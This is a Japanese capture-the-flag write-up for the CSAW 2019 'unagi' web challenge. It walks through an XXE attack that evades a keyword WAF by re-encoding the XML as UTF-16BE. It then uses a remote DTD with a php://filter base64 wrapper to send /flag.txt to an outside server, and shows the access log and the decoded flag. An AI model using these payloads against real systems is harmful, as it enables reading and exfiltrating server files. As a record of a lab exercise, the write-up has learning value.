CSAW CTF 2019 Writeup [unagi - Web 200]
おそらくXXE。
こちらの記事を参考にflag.txt
を読み込んで表示するxmlを作ってアップロードする。
文字列として"ENTITY", "SYSTEM", "file"が入っていた場合はWAFにブロックされる。 WAFをバイパスする必要がある。
WAFのバイパスに関しては以下の記事が役に立った。 lab.wallarm.com
今回は以下のように文字コードを変えることでWAFをバイパスできた。
$ echo -n '<?xml version="1.0" encoding="UTF-16BE"' > attack-utf16be.xml $ printf "%s" '?><!DOCTYPE name [<!ENTITY h SYSTEM "file:///flag.txt">]><users><user><username>&h;</username><password>passwd1</password><name>&h;</name><email>&h;</email><group>&h;</group></user><user><username>bob</username><password>passwd2</password><name> Bob</name><email>bob@fakesite.com</email><group>CSAW2019</group></user></users>' | iconv -f utf-8 -t utf-16be >> attack-utf16be.xml
しかし、flag.txtを表示してもAAAAAAAAAAA
しか表示されない。どうやら表示に文字数制限があり、flag.txtの先頭がA
で埋め尽くされているようだ。
色々と試していると、php://
は利用できることがわかった。しかし、これだけでflagを表示させることはできなさそう。
とりあえず、BASE64エンコードして外部に中身を送れないか試してみたが、requestbinでいくら待っても通信が来なかった。
ここで競技中に詰んでしまって終了。つらい。
競技終了後、以下のwriteupを見てみた。どうやら方針は合っていたようだ。 www.wispwisp.com
自分の場合に通信が発生しなかった理由は、dtdファイルを存在するかどうかともかく指定していなかったのが原因のようだ。
(とりあえず通信が発生することが確認できれば良いと思っていたので、requestbinのURLをそのまま指定しているだけだった)
あとはやるだけ。 まず、以下のようなファイルを用意する。
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://[IP ADDRESS]/csaw.dtd"> %sp; %param1; ]> <r>&exfil;</r>
こんな感じに丸々エンコードしても大丈夫っぽい。この方が編集が楽なので早速使っていく。
$ cat payload.xml | iconv -f UTF-8 -t UTF-16BE > payload1.xml
あとはサーバーに以下のDTDファイルを置いて通信が来るのを待つ。
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://[IP ADDRESS]/dtd.xml?%data;'>">
アクセスが来るのでアクセスログを確認する。
# cat /var/log/httpd/access_log 216.165.2.60 - - [16/Sep/2019:09:56:41 +0900] "GET /dtd.xml?QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= HTTP/1.0" 404 205 "-" "-"
BASE64デコードしてフラグを確認して終了。
# echo "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE" | base64 -d AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbase64: invalid input
フラグはflag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}
です。
今回はあと一歩のところまでいっていたのにフラグを回収できずに辛かった。